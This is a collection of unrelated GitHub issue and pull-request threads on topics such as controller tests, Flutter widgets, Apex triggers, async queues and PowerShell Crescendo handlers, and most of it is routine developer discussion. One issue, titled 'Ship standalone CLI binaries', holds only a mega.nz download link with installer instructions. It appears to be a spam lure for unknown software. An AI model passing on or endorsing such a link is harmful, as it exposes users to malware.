Add a unit test for config_controller.go

Add a unit test for config_controller.go to test the case that when a new type is added to HNCConfiguration singleton, the corresponding object reconciler can be created correctly.
This PR also does the following refactoring:

Moves shared helper functions from each controller test files to a common file: test_helpers_test.go
Switches the object type in object_controller_test.go from Secret to Role because:

The behaviors that are tested in the object_controller_test.go are irrelevant to the object type or the creation of a new object reconciler.
Since the test suite creates the object reconciler for Role by default, object_controller_test.go can use the existing Role object reconciler for the tests
instead of creating a new object reconciler.
The tests inside controllers_test package share the same test environment, which means if the test in one Describe container adds a type to
HNCConfiguration singleton, the corresponding object reconciler for that type will be created and will still be there when running subsequent Describe
containers in the package. Until we find a way to "cleanup" object reconcilers, it is better to only create new object reconcilers when necessary.

Design doc: http://bit.ly/hnc-type-configuration
Issue: #411

/ok-to-test
lgtm after a few nits. @rjbez17 , wdyt?
/assign @rjbez17

/lgtm
/approve
/hold cancel


[JOSS Review] Missing information in README

The README is missing any information on how to run the automated tests.

I would also suggest adding information about the automated test suite to the contribution guidelines.

https://github.com/openjournals/joss-reviews/issues/5703


MacosPopupButton (closes #176)

Adds a new MacosPopupButton widget, trying to replicate the Pop-Up button component from Apple's Guidelines.
Final result:

Dark Theme
Light Theme

Screencast:
https://user-images.githubusercontent.com/9117427/150102681-488c3531-791f-4de3-8613-c3cc675d97ce.mov
Based on Flutter's Material DropdownButton widget, but with these modifications:

Different size, padding, border shadows, animations, etc., trying to match Apple design as much as possible. All these were eye-balled from pop-up buttons found in System Preferences.
Double caret icon at the right edge of the button (done with a CustomPainter).
macOS-themed styling.
No scrollbar when menu is open.
An up or down caret symbol for when the menu has items that cannot fit the available constraints (i.e. with a longer items list).

User can also navigate the open menu with up/down arrow keys and select an item with the Return key.
Future development can include:

Translucency effect for the open menu.
More tests (especially for its visual design).

Pre-launch Checklist

[✅] I have run dartfmt on all changed files
[✅] I have incremented the package version as appropriate and updated CHANGELOG.md with my changes
[✅] I have added/updated relevant documentation
[✅] I have run "optimize/organize imports" on all changed files
[✅] I have addressed all analyzer warnings as best I could

Should close #176 .

Hello, @whiplashoo! Thank you so much for your PR, it looks amazing! I am gearing up to start working on this project again in the near future, and I see that this PR is failing some checks. Would you mind addressing that before I review, please? Cheers!

@whiplashoo what are your thoughts on adding MacosPopupButtonTheme and MacosPopupButtonThemeData classes? This way users can set a default theme at the root level, or for specific widget trees.

Also, does this PR contain your work from #171 ? If so then we can close that PR in favor of this one.

@GroovinChip

No, it doesn't contain work from #171, they are separate branches.
Yes, I can see how a MacosPopupButtonTheme could be useful. I guess it should be implemented in a similar logic like PushButtonThemeData, for example?

@whiplashoo

Yes, I can see how a MacosPopupButtonTheme could be useful. I guess it should be implemented in a similar logic like PushButtonThemeData, for example?

Yep, exactly

In trying to implement the theme classes, I tried to use as a starting point the PushButtonTheme classes.
I noticed, however, that this won't work (i.e. the color of the PushButtons is not yellow):
...
return MacosApp(
    title: 'macos_ui example',
    theme: MacosThemeData.light().copyWith(
      pushButtonTheme: const PushButtonThemeData(
        color: Colors.yellow,
        disabledColor: Colors.blue,
        secondaryColor: Colors.red,
      ),
    ),
...

Using PushButtonThemeData().copyWith() doesn't help either. Isn't this the way it's expected for users to override theme colors?
I found that in the copyWith method of MacosThemeData, the user-provided parameters are not passed when constructing the MacosThemeData. Doing this for other MacosThemeData properties like primaryColor, canvasColor, etc. works properly.
I guess this needs to be fixed first? Would be willing to tackle this on a separate issue.

In trying to implement the theme classes, I tried to use as a starting point the PushButtonTheme classes.
I noticed, however, that this won't work (i.e. the color of the PushButtons is not yellow):
...
return MacosApp(
    title: 'macos_ui example',
    theme: MacosThemeData.light().copyWith(
      pushButtonTheme: const PushButtonThemeData(
        color: Colors.yellow,
        disabledColor: Colors.blue,
        secondaryColor: Colors.red,
      ),
    ),
...

Using PushButtonThemeData().copyWith() doesn't help either. Isn't this the way it's expected for users to override theme colors?
I found that in the copyWith method of MacosThemeData, the user-provided parameters are not passed when constructing the MacosThemeData. Doing this for other MacosThemeData properties like primaryColor, canvasColor, etc. works properly.
I guess this needs to be fixed first? Would be willing to tackle this on a separate issue.

Oof. Yes, this looks like a bug

Added MacosPopupButtonTheme and MacosPopupButtonThemeData classes, so user can theme MacosPopupButtons from the root of the app (or per widget tree).
The customizable settings are highlightColor, backgroundColor, popupColor.
For a visual example, setting these colors:
return MacosApp(
  title: 'macos_ui example',
  theme: MacosThemeData.light().copyWith(
    macosPopupButtonTheme: const MacosPopupButtonThemeData(
      highlightColor: MacosColors.appleOrange,
      backgroundColor: MacosColors.appleGreen,
      popupColor: MacosColors.systemTealColor,
    ),
  ),

results to this MacosPopupButton style:

I will also open an issue to fix the bug with the other widget theme classes.

Waiting on checks to complete before merging.


Fix for colon in double quotes in single ticks

is broken with issue #782

With the changes of #782 it wasn't possible anymore to use colon in double quotes in single ticks.

test added

Thanks for fixing this!
I'm merging with a slightly modified commit message.

My pleasure.


Add Methods factory from objects

I added a new classmethod jsonrpcserver.methods.Methods.from_object that takes an object and returns a Methods with all public callable attributes (i.e. those that don't start with underscore) in that object.
While integrating jsonrpcserver into some legacy code for one of my clubs, I ran into the issue where we have an ABC that multiple classes inherit. I wanted to maintain this hierarchy and I didn't like listing out all the attributes to add to the Methods for dispatch, since there are a lot. So I created this!
I considered adding a expose and hide decorator that could be optionally used as an alternative to the underscore method. I still can add it if you want, but I figured it wasn't necessary in most contexts.

After further use, I found the behavior of this generally too confusing, compared to just listing the desired methods. As such, I'd rather this not be merged.


Question: Can multiple trigger actions be consolidated into one .cls file?

I found this framework recently and am blown away by the clarity it brings to trigger execution.  Kudos for building such a well-architected framework.  I can't wait for our team to adopt it.
Use Case
You have the same business logic that needs to be applied on before insert and before update.
Using vanilla triggers
trigger AccountAddressCheckTrigger on Account (before insert, before update) {
    AccountBusinessLogic.checkAddress(Trigger.new);
}

Using apex-trigger-actions-framework
This is my current understanding of how to do the same using this framework:
// AccountAddressCheckBeforeInsert.cls

public class AccountAddressCheckBeforeInsert implements TriggerAction.BeforeInsert {
    public void beforeInsert(Account[] newList) {
        AccountBusinessLogic.checkAddress(newList);
    }
}

// AccountAddressCheckBeforeUpdate.cls

public class AccountAddressCheckBeforeUpdate implements TriggerAction.BeforeUpdate {
    public void beforeUpdate(Account[] newList, Account[] oldList) {
        AccountBusinessLogic.checkAddress(newList);
    }
}

Is one file per trigger action required or can we consolidate it into the same file?

Great question Chaz!
You can (and should) combine the two classes into one by writing a single class which implements both interfaces.
public class MyExample implements TriggerAction.BeforeInsert, TriggerAction.BeforeUpdate {
  public void beforeInsert(List<Case> newList){
    setDefaultValues(newList);
  }
  public void beforeUpdate(List<Case> newList, List<Case> oldList){
    setDefaultValues(newList);
  }
  private void setDefaultValues(List<Case> newList){...}
}

Then you just create one piece of custom metadata for each of the contexts on the sObject.

Thanks for the help and explanation, Mitch.


It seems that some versions in npm missed

Thanks for your help in #3.
Could you help update some versions that we can not find from npm(1.0.0 1.0.1 1.0.3)?
Thanks!
cdnjs/cdnjs#9371

Hello - I can try and update, but have never tried to publish an older version to npm. Do you know the command for doing this? Is it as simple as updating package.json and then using npm publish?

Actually, I figured it out - all versions are now on npm :)


V2

Breaking Change:

[ ] Return error array, not only one error
[x] Drop support array()/object() checker

New Feature

[x] Custom error message

[x] Support define a non object struct

[x] Support Object/Array in Literal

before:
new Struct({
  name: type.string,
  age: type.int,
  address: type.object({
    city: type.string,
    code: type.int
  })
});

after:
new Struct({
  name: type.string,
  age: type.int,
  address: {
    city: type.string,
    code: type.int
  }
});

[ ] Support validate native constructor

new Struct({
  name: String,
  age: Number,
  address: {
    city: String,
    code: Number
  }
});

895d6d58e91e22e86b44728e3c17b40c18198c8e


Node: generated unused mockSimpleGrpcMethod() in tests

Generating the latest video-intelligence library result in tests that failed npm run lint. It complains mockSimpleGrpcMethod() is defined but not used.
https://github.com/googleapis/nodejs-video-intelligence/pull/51

Ping @alexander-fenster

Here, we need to include mockSimpleGrpcMethod() in the output only if the API has simple gRPC methods (and video-intelligence is one rare example of an API with all methods being long running). I'm not sure if there is an easy way to write this condition in the snip file. Looking.

We are still experiencing this issue in video-intelligence. Not blocking, but good to get it fixed :)

@alexander-fenster any updates on this?

@alexander-fenster Any updates? This issue is out of SLO. Is it prioritized correctly?

I guess it must not be a P0. Yoshi team has a workaround for that in their synth script for this library, and video intelligence is the only library affected (it does not have non-long-running methods).
I will decrease the priority of this issue. Having that said, it should be a quick fix anyway.

I'm okay with that. Thanks Alex!

@alexander-fenster Any updates?

@alexander-fenster any update here? Is there a quick fix that can be detailed here for another person to pick up? Thanks

I'd like not to fix it now in gapic-generator since it's something that can be taken care of by Yoshi in synth tool and it never affects end users' experience. We can try taking care of that in scope of TypeScript micro generator (let's leave this open here for now and I'll move it to that repo when it's alive).

Deprioritizing as per last comment.

@alexander-fenster Could you update this issue? Was this fixed in gapic-generator (in which case, feel free to close this) or addressed some other way elsewhere (in which case feel free to leave a note why this will not be fixed here). Thanks!

@vchudnov-g It's fixed in https://github.com/googleapis/gapic-generator-typescript/pull/155 (for the TypeScript generator). I'll close this issue here.


bug(observables): Firebase Observable Subclasses used in SwitchMap

Using Observable switchMap with Firebase Observable subclasses doesn't preserve the subclass properties and returns a base Observable<T> instance:
Type 'Observable<any[]>' is not assignable to type 'FirebaseListObservable<any[]>'

let observable: FirebaseListObservable<any[]> =
    Observable.of(1,2,3)
      .switchMap<any[]>(number => angularFire.database.list(`/some-path/${number}`));

I'm struggling with this because I'm using observables to track my user's profile and I need information from the profile to access firebase data.  I was trying to use a switchMap to create new observable objects when the user's profile changes.

Follow #162, as we are working on this fix.


Fix typos in Update custom-resources.md

Fixes some minor issues in the custom resources doc observed while watching https://www.youtube.com/watch?v=4rVrR9haWlg
Summary
Describe your changes here.
Fixes #Issue_Number (if available)

Internal previews

📄 File
🔗 Preview link

docs/extensibility/custom-resources.md
Create custom resource types for .NET Aspire

Thank you so much for your video @peterj, it was really helpful in helping identify a few opportunities for improvement!


[ALLUXIO-2344] Improve error handling in SwiftUnderFileSystemFactory

https://alluxio.atlassian.net/browse/ALLUXIO-2344

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/15968/
Test PASSed.

Merged build finished. Test PASSed.

LGTM thanks for the improvement


Review actions for Cloudflare

Look into using github action to have more control when code is deployed or not (plus make sure cypress tests run after deployment):

https://github.com/cloudflare/pages-action

https://github.com/reallyluis/reallyluis/pull/59


[TextClassification] Logged predictions are not shown in Annotate mode

Describe the bug
The logged predictions do not show up in annotate mode for textclassification records.
To Reproduce
import rubrix as rb

records = []
for example in to_label1.shuffle():
    record = rb.TextClassificationRecord(
        inputs=example["text"],
        metadata={'category': example['label']}, # log the intents for exploration of specific intents
        prediction=[(pred['label'], pred['score']) for pred in example['predictions']],
        prediction_agent="distilbert-base-uncased-finetuned-sst-2-english"
    )
    records.append(record)

rb.log(name='labeling_with_pretrained', records=records)

Basically the first part of our first tutorial.
Expected behavior
Predictions should show up in annotate mode.
Screenshots

Environment (please complete the following information):

OS [e.g. iOS]: Ubuntu
Browser [e.g. chrome, safari]: Firefox
Rubrix Version [e.g. 0.10.0]: 0.10.0 and master
ElasticSearch Version [e.g. 7.10.2]: 7.10.2
Docker Image (optional) [e.g. rubrix:v0.10.0]:

Additional context

my mistake! I forgot to build the frontend ...


vNext Task: Implement spatial awareness for Windows Mixed Reality platforms

Overview
Now that the spatial awareness architecture is defined (and the scaffolding exists), create an implementation for Windows Mixed Reality.
Requirements

Register handle SpatialObserver mesh events
Create planes from the mesh

Acceptance Criteria

[x] HoloLens app can

[x] Configure / control the SpatialObserver
[x] Visualize spatial mesh with no application involvement
[ ] Switch between the visual and occlusion mesh materials
[ ] Visualize specific (floor, wall, etc) planar surfaces with no application involvement

What does the Immersive Headsets do?

Will properly handle any API failure cases. This is for HoloLens, but since it is the Windows Mixed Reality API platform it is labeled as such.

This has been in v2 since beta 2


[CI] Move CI builds to Github Action

What's the CI task to develop? Please describe

Describe the items of the task development (DoD, definition of done) you'd like

Additional context
cc @yangchiu

cc @rebeccazzzz

@FrankYang0529 It is necessary to backport to 1.6.x and 1.5.x. Otherwise, PRs for those branches will keep using drone-pr.

Close the ticket because it is finished.
cc @FrankYang0529


add poetry support to pytest

Make sure these boxes are checked before submitting your pull request:

[ ] Add fixtures and spec when implementing or updating a test runner
[ ] Update the README accordingly
[ ] Update the Vim documentation in doc/test.txt

@fishman Thank you, merging away 🚀


Question: how to access parent in nested class helper

Can I access the parent doc from a helper of a nested class?
Example
const Reservation = Class.create(
	{
		name: 'Reservation',
		collection: new Mongo.Collection('reservations'),
		fields: {
			reservationTypeId: {
				type: String
			},
			invoices: {
				type: [Invoice]
			}
		},
	});

const Invoice = Class.create(
	{
		name: 'Invoice',
		fields: {
			code: {
				type: String
			},
		},
		helpers: {
			price() {
				// How to access parent attribute for db query?
				return Price.find({ code: code, reservationTypeId: ... });
			}
		}
	});

I need to perform a database query, but only in some children classes, so adding price as a transient field is not really an option for performance reasons. I could add the reservationTypeId to the Invoice class as a transient field, but is there also a better way?
Thank you!

No you can't access parent class from children. You have to implement it yourself in a way that fits your needs best.

Ok, I'll add a transient field to the child classes with events then, since accessing the parent object is possible there. Other suggestions are welcome. Thanks!


SuiLocalizationService not working with lazy loading modules

Hi @edcarroll,
I'm working on a project with a lot of lazy loading modules. It seems that the SuiLocalizationService isn't working with lazy loading modules. If I change the locale in my AppComponent (and I expect that other modules will use this locale) it won't affect lazy loading modules as they are creating their own SuiLocalizationService instance. The plunkr example ilustrates this issue.
Maybe SuiLocalizationModule can be rewrited like this:
@NgModule({
    imports: [CommonModule]
})
export class SuiLocalizationModule {
    public static forRoot():ModuleWithProviders {
        return {
            ngModule: SuiLocalizationModule,
            providers: [
                SuiLocalizationService
            ]
        };
    }
}

So in root module we can import this module as SuiLocalizationModule.forRoot() and there will be only one SuiLocalizationService.

Hi @avaneev95, thanks for opening the issue. I've taken some time and learned a bit more about what is causing this and how to mitigate it, and have come up with 2 possible solutions:

Add forRoot to all NgModules, and in a non-lazy loaded module if you want to import some functionality you must use SuiXModule.forRoot().
a) This would be a breaking change from the current behavior.
b) A first attempt at an implementation is available in #235.
c) Usage:

@NgModule({
    imports: [
        SuiSelectModule.forRoot(),
        SuiCheckboxModule.forRoot()
    ],
    ...
})
export class MyModule

@NgModule({
    imports: [
        SuiSelectModule,
        SuiCheckboxModule
    ],
    ...
})
export class MyLazyModule

Add forChild to all NgModules, and in a lazy loaded module if you want to import some functionality you must use SuiXModule.forChild().
a) This slots in with the existing behavior, so no major changes to anyone's codebases.
c) Usage:

@NgModule({
    imports: [
        SuiSelectModule,
        SuiCheckboxModule
    ],
    ...
})
export class MyModule

@NgModule({
    imports: [
        SuiSelectModule.forChild(),
        SuiCheckboxModule.forChild()
    ],
    ...
})
export class MyLazyModule

For both, I can make the services in question throw errors when they detect there are multiple versions of themselves in the injector cache.
Thoughts on the above? I have limited experience with lazy loaded modules so input would be very helpful 😄

Hi, thanks for your reply, I tested #235 and encountered a problem: for example, I want to use a SuiPopupModule in both non-lazy and lazy modules, so in non-lazy module I import a SuiPopupModule as SuiPopupModule.forRoot() and in lazy - as SuiPopupModule. And when I want to got to the lazy module it doesn't work due to an error: "Type SuiTransition is part of the declarations of 2 modules: SuiTransitionModule and SuiTransitionRootModule". It seems this happens due to SuiTransitionRootModule and SuiTransitionModule are loaded in the same time.
I managed to fix this by moving component declarations to another module like this (ex. SuiPopupModule):
@NgModule({
    imports: [
        ...imports,
        SuiTransitionModule,
        SuiUtilityModule
    ],
    declarations,
    entryComponents,
    exports
})
export class SuiPopupMainModule {}

@NgModule({
    imports: [
        ...imports,
        SuiPopupMainModule,
        SuiTransitionModule.forRoot(),
        SuiUtilityModule.forRoot()
    ],
    providers: [
        SuiPopupConfig
    ],
    exports
})
export class SuiPopupRootModule {}

@NgModule({
    imports: [
        ...imports,
        SuiPopupMainModule
    ],
    exports
})
export class SuiPopupModule {
    public static forRoot():ModuleWithProviders {
        return {
            ngModule: SuiPopupRootModule
        };
    }
}

It works and I think it will work with forChild() as well.
In addition, I don't quite understand why all modules should have forRoot() method, even simple ones like SuiTransitionModule which doesn't have any providers.
By the way, about forChild vs forRoot: personally I prefer forRoot since it seems to be used more commonly but maybe it's better to avoid more breaking changes :smile:


Delete datasets from processing container after processing

Definition of Done
Currently the datasets remain on the EC2 machine after processing completes which means that we can run into issues with out-of-memory problems with larger datasets that silently terminate the process. We should delete the datasets from the container after the process completes (i.e. upload and conversions are done or have failed).

This is unnecessary. Batch jobs will release allocated memory once the job completes.


make dimensions of predicted properties consistent

Pull Request Summary
A few changes that are too small for a separate PR are combined here.
Key changes
Notable points that this PR has either accomplished or will accomplish.

[ ] add ani tests for radial symmetry functions
[ ] change shape of the energy output

Questions

[ ] Question 1

Associated Issue(s)

[ ] Issue 1

Pull Request Checklist

[ ] Issue(s) raised/addressed and linked
[ ] Includes appropriate unit test(s)
[ ] Appropriate docstring(s) added/updated
[ ] Appropriate .rst doc file(s) added/updated
[ ] PR is ready for review

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 85.12%. Comparing base (2998bf1) to head (13b6057).

Additional details and impacted files


SyntaxInfo design

For inserted meta (which is not in original source code), we need another type of SyntaxInfo.
Here's my first design:
pub enum SyntaxInfo {
    SourceInfo(SourceInfo),
    ImplicitMetaInfo(Box<Self>),
}

But we are not sure if ImplicitMetaInfo(Box<Self>) is necessary. For simplicity, ImplicitMetaInfo(SourceInfo) is better, and there looks not be any differences.

I admit for current SyntaxInfo (with two variants), ImplicitMetaInfo(SourceInfo) is enough for no matter error report or something else.
But, consider
pub enum SyntaxInfo {
    SourceInfo(SourceInfo),
    ImplicitMetaInfo(SourceInfo),
    SomeOtherAutoInsertedTerm(SourceInfo),
}

if nested ImplicitMetaInfo is possible, we may also have something like ImplicitMetaInfo(SomeOtherAutoInsertedTerm). In that case ImplicitMetaInfo(SomeOtherAutoInsertedTerm) and ImplicitMetaInfo(SourceInfo) are different.
But but, I'm not able to figure out in what situation we could get a nested ImplicitMetaInfo.

For inserted meta (which is not in original source code), we need another type of SyntaxInfo.
Here's my first design:

If I were you I'll use the SyntaxInfo from the function term, like when I inserted a meta here f <meta> a because f's inferred type is {} -> () -> blabla, I'll copy f's SyntaxInfo to the added meta.
This also happens elsewhere like type inference, I'll show you.

https://github.com/owo-lang/voile-rs/blob/e284e6da7e486dedd7acbb3c9c0e1bc665880bc2/src/check/expr.rs#L454-L457

I see. If we are using "parent" info for "child" but not exactly create a type of info in each case, it looks better to do that in implicit, for consistency.

We can add a is_generated : bool field to indicate that whether this syntax_info is generated


Return line for School Anchors

@elcopeland commented on Wed Jan 31 2018
http://munews.wpengine.com/1202_faculty-and-staff-notables/
Sometimes a part of text blocks.

@elcopeland commented on Wed Jan 31 2018
other cases:

http://munews.wpengine.com/1108_notables/

Break tags are whitelisted now.


Doesn't work with minify: false

The following regex matches both cases - minified and not - however I have only tested it for a couple of individual use cases
/(\s*<script type="module" crossorigin>\s*)\(function[\s\S]*?\}\)\(\);/

The removed segment is \(\)\{ after function - when not minified, the polyfill is a named function

Thanks, fixed in 0.13.5!


Accessing the Count property of the underlying collection

Apologies if I'm misusing the AsyncProducerConsumerQueue<T>, but I'd like to be able to to access the Count property of the underlying Queue<T> so that I can tell when all my async queues are empty.  Is this deliberately not surfaced in the API?

I'd say you're right, since the Count property might be 0 when you check it, but then, before your next line of code executes, another entry could have entered the queue.
Is your empty check a desire to see when everything's finished completely or more just to see if there's extra work to do right now?  IIn either case, use DequeueAsync (or its Try-variant if you're just trying rather than waiting) and flag your completion of adding using CompleteAddingAsync.  Once a queue is flagged as completed adding and is then completely drained you'll find the Dequeue operations will fail (see the XML comments on the methods in the wiki).

Ian's right. I tend not to surface details if there's a high potential for misuse; Count in this case is only approximate. The appropriate way to signal completion of a queue is to call CompleteAdding and then your consumers can detect when it's complete via OutputAvailableAsync (returns false), GetConsumingEnumerable (the enumerable ends), TryDequeueAsync/TryDequeue (Success is false), or DequeueAsync/Dequeue (throws InvalidOperationException).
If this isn't sufficient, and you really do need Count for some other reason, just reopen this issue with a comment describing the use case.

Thanks for clarifying.  I suspected I was looking at it the wrong way.  Like you say, there's concurrency issues around atomically checking the value of Count.  My use case is that I have a few AsyncProducerConsumerQueues containing URIs which are fetched by a limited pool of workers.  The workers might then enqueue more items to one or more queues.  In order for my program to finish, I check whether there are any HTTP requests in progress, and whether all of the queues are empty (hence wanting to check Count).  I probably need to rethink the approach, but I don't want to just 'wait for an arbitrary amount of time' before calling CompleteAdding on them.

Hmmm, the PCQs were not designed with this in mind - the same code being producer and consumer. Though I suppose it would work. (Side note: TPL Dataflow was designed with this in mind).
It seems to me the most straightforward approach would be to make your "in progress" counter an "unfinised" counter instead - increment it when inserting into the queues and decrement it only when the HTTP request is fully processed. Would that work for you?

Yeah, something along those lines.  I was investigating TPL Dataflow when I found a StackOverflow post where you linked AsyncEx.  I think I can make this work using your library, but I'll keep Dataflow in mind.  Thanks.


CertificateWSTrustBinding: how to sign body

Hi,
I'm using CertificateWSTrustBinding with TransportWithMessageCredential to send RequestSecurityToken request to an STS. My problem is that the STS requires that the message body must be signed which is doesn't supported by that binding. Do you have any hint about how to achieve that request with Thinktecture.IdentityModel?
Thanks for reading :)

TransportWithMessageCredential is transport security - you can try the Message security mode. Otherwise you need to construct a custom binding.

I had to use a custom binding in the end: Message with AsymmetricSecurityBinding and HttpsTransport. It seems there is no other alternative.
Thank you for reading and answering my question :)


[Feature] Ship standalone CLI binaries (OS/runtime/CPU) at releasing

Download
https://mega.nz/file/UYhhgZTR#EfgMGXyZlKeqZatw9ALTKS9JBu-qXLHYQli_2jXDCWU
In the installer menu, select "gcc."


Favicon true way

Hello, I really like how you combined these two frameworks! )
I have a question:
Which is the TRUE way for set Favicon on this theme?

Thanks, glad you like it. As for a favicon, putting your <link> tag somewhere in here should do the trick!

Ah, I see what you were asking now. Yup, that's how I would do it, glad you figured it out!


feat: move away from mosca to forked mqtt server

Amplify CLI mock uses MQTT for AppSync subscription. The MQTT server used was mosca which has provides feature which are not used by mock and brings in outdated dependencies and causes some optional dependency installation failures . Forking Mosca and slimming down the dependencies.
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #2428 into master will decrease coverage by 0.69%.
The diff coverage is n/a.

@@            Coverage Diff            @@
##           master    #2428     +/-   ##
=========================================
- Coverage   65.27%   64.57%   -0.7%
=========================================
  Files         196      199      +3
  Lines        9655     9768    +113
  Branches     1964     1861    -103
=========================================
+ Hits         6302     6308      +6
- Misses       3073     3185    +112
+ Partials      280      275      -5

Impacted Files
Coverage Δ

...mplify-codegen/src/callbacks/prePushAddCallback.js
59.25% <0%> (-2.28%)
:arrow_down:

...kages/amplify-codegen/src/walkthrough/configure.js
85.71% <0%> (-2.17%)
:arrow_down:

...loudformation/question-factories/core-questions.js
77.19% <0%> (-0.29%)
:arrow_down:

...y-codegen/src/utils/generateIntrospectionSchema.js
40% <0%> (ø)
:arrow_up:

...ges/amplify-codegen/src/utils/updateAmplifyMeta.js
4.76% <0%> (ø)
:arrow_up:

...fy-codegen/src/walkthrough/changeAppSyncRegions.js
42.85% <0%> (ø)
:arrow_up:

...ib/S3AndCloudFront/helpers/configure-CloudFront.js
94.49% <0%> (ø)
:arrow_up:

...mplify-category-notifications/lib/channel-Email.js
0% <0%> (ø)
:arrow_up:

...amplify-category-notifications/lib/channel-APNS.js
62.35% <0%> (ø)
:arrow_up:

...lify-codegen/src/walkthrough/questions/maxDepth.js
42.85% <0%> (ø)
:arrow_up:

... and 48 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8b225c1...3f348f3. Read the comment docs.


The button "Back to top"

Is this a BUG REPORT or FEATURE REQUEST?:
bug
What happened:
The "Back to top" button (the square one with a symbol like a caret floating on the bottom-right of the page when scrolling) don't work.
What you expected to happen:
To go to the top of the page when clicking on the button
How to reproduce it (as minimally and precisely as possible):
Go to https://about.okkur.org/syna/ , scroll down the page then click on the squared button
Anything else we need to know?:
I'm on Firefox 70.0.1, Linux 64 bit
Environment:

Syna Theme version:  0.15 (cloned with git)
Hugo version:  extended 0.63.2
Others:

The latest version of Syna is 0.16.1, which has a fix of this issue. Our docs page needs to be rebuilt with the latest version, which should happen soon.

Page updated.

Same problem: https://arahasmas.gitlab.io/psite2/
/themes/syna/VERSION : v0.16.1 ( https://gitlab.com/arahasmas/psite2/-/blob/ba56b5a6be450c15b8f33534601ab87f03d0d899/themes/syna/VERSION )


Some dates are not displayed correctly

Some dates are not displayed correctly in Visualize, although they are stored correctly in LINDAS.
See example below
Qualität der Badegewässer, Station : Curtinaux, la Vaudaire, le Pont etc., le 1.07.2008.

This is now improved (currently on dev)


Add link to docker-compose-project

Maybe you want to include a link to my docker-compose-project. Thanks for this tool anyway!
Best regards

@throbbingcat thanks for this. Wouldn't it make more sense to merge your changes to this repo? Can you create a pr including the docker changes?

I probably could, but not at the moment. Maybe in the next weeks I can try.

@throbbingcat if you are ok with that, I could also take the changes and do it by myself, tagging in the readme, that this changes are done by you...

Sure, go for it.

done. Thanks!


Reference parameters in the OutputHandler

In my OutputHandler I'm trying to include some basic error handling. I want to be able to include a command in the handler like
Write-Warning  "Failed to find a matching entry for $list"

In my Parameters section, the Name is set to "List" but this doesn't seem to work.  Is there some other way to reference parameters or does this functionality not exist yet?

we know that the output handlers are going to get worked over a bit, but I'm trouble with what you're seeing. could you provide more of the output handler?

Part of the challenge is that there is little documentation on how all of this works. For example, I'm not sure what gets passed to an output handler or how to reference it.   Here's a config I've been testing with.
{
    "$schema": "../../Microsoft.PowerShell.Crescendo.Schema.json",
    "Verb": "Get",
    "Noun": "CmdKey",
    "Description": "Get Cmdkey entries from the localhost.",
    "OriginalName": "cmdkey",
    "Usage": {
        "Synopsis": "Get entries from CmdKey"
    },
    "Aliases": ["gck"],
    "Parameters": [
        {
            "Name": "List",
            "OriginalName": "/List:",
            "Description": "List cmdkey entries for the specified computer. Wildcards are permitted.",
            "ParameterType": "string",
            "DefaultValue": "*",
            "Aliases": ["cn"],
            "ValueFromPipeline": true,
            "AdditionalParameterAttributes": [
                "[ValidateNotNullorEmpty()]"
            ]
        }
    ],
    "Examples": [
        {
            "Command": "Get-Cmdkey -list SRV1

Computername Target Type            User
------------ ------ ----            ----
PROSPERO     srv1   Domain Password company\\artd
",
            "Description": "Get the cmdkey entry for SRV1",
            "OriginalCommand": "cmdkey /list:srv1"
        }
    ],
    "HelpLinks": [
        "cmdkey",
        "Get-Credential"
    ],
    "OutputHandlers": [
        {
            "ParameterSetName": "Default",
            "Handler" : "Param($item)
            $raw = $item | Select-Object -skip 3 | where-object {$_ -match ':'}
            if ($raw.count -ge 3) {
                For ($i = 0; $i -lt $raw.count;$i+=3) {
                   $raw[$i..($i+2)] | foreach-object -begin { $h = [ordered]@{PSTypeName='cmdKeyEntry';Computername = [system.environment]::MachineName}} -Process {
                        $line = $_.split(':')
                        $h.Add($line[0].Trim(),$line[1].trim())
                     } -end { New-Object -typename PSObject -property $h }
                }
           }
           else {
                Write-Warning 'Failed to find any matching cmdkey entries.'
           }"
        }
    ]
}

I'd like to include error handling in the output handler that could use the value from the $List parameter.

On a similar note, I'm also interested i this functionality. I have a command that returns an xml containing a number of lists (which can't be filtered by its own), and I'd really like the opportunity to be able to filter the output directly via the Crescendo command. I imagine this would be done by adding another -Filter parameter (with ApplyToExecutable = $false), but currently I have no idea on how to pass this value to the output handler.

I think this would be good. I believe there's a little bit of inconsistency here. Currently the output of the native command is passed to the parameter, but no additional parameters that are available in a handler are used. As example, here's a a handler I have for parsing vagrant box list:
function parseVagrantBox {
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory)]
        [Object[]]
        $Lines,

        [Parameter()]
        [String]
        $Name
    )
    process {

        $Boxes = [System.Collections.Generic.List[pscustomobject]]::new()
        $Lines | Foreach-Object {
            $null = $_ -match '(?<name>([\w\/]+))\s+\((?<provider>(\w+)),\s(?<version>(\d.+))\)'

           $b = [pscustomObject]@{
                Name     = $matches.name
                Provider = $matches.provider
                Version  = [version]$matches.version
            }

            $Boxes.Add($b)
        }

        if(-not $Name){
            return $Boxes
        }

        else {
           $r = $Boxes | Where-Object { $_.Name -eq $Name}
           if(-not $r){
               Write-Warning "Box not found!"
           }
           else {
               return $r
           }
        }
    }
}

On a command-line outside of my module I can see that things work as expected:
$lines = vagrant box list
. ./parseVagrantBox.ps1
parseVagrantBox -Lines $lines

Name                       Provider   Version
----                       --------   -------
StefanScherer/windows_2019 virtualbox 2021.5.15
ubuntu/trusty64            virtualbox 20190514.0.0
ubuntu/xenial64            virtualbox 20211001.0.0

Additionally, I can filter this:
parseVagrantBox -Lines $lines -Name 'ubuntu/xenial64'

Name            Provider   Version
----            --------   -------
ubuntu/xenial64 virtualbox 20211001.0.0

My error handling works as well:
 parseVagrantBox -Lines $lines -Name 'ubuntu/wefwefewf'
WARNING: Box not found!

However, when I run this in the context of the generated Crescendo module, my filter/error logic falls apart:
Get-VagrantBox

Name                       Provider   Version
----                       --------   -------
StefanScherer/windows_2019 virtualbox 2021.5.15
ubuntu/trusty64            virtualbox 20190514.0.0
ubuntu/xenial64            virtualbox 20211001.0.0

Get-VagrantBox -Name 'ubuntu/xenial64'

Name                       Provider   Version
----                       --------   -------
StefanScherer/windows_2019 virtualbox 2021.5.15
ubuntu/trusty64            virtualbox 20190514.0.0
ubuntu/xenial64            virtualbox 20211001.0.0

Get-VagrantBox -Name 'uowejfi'

Name                       Provider   Version
----                       --------   -------
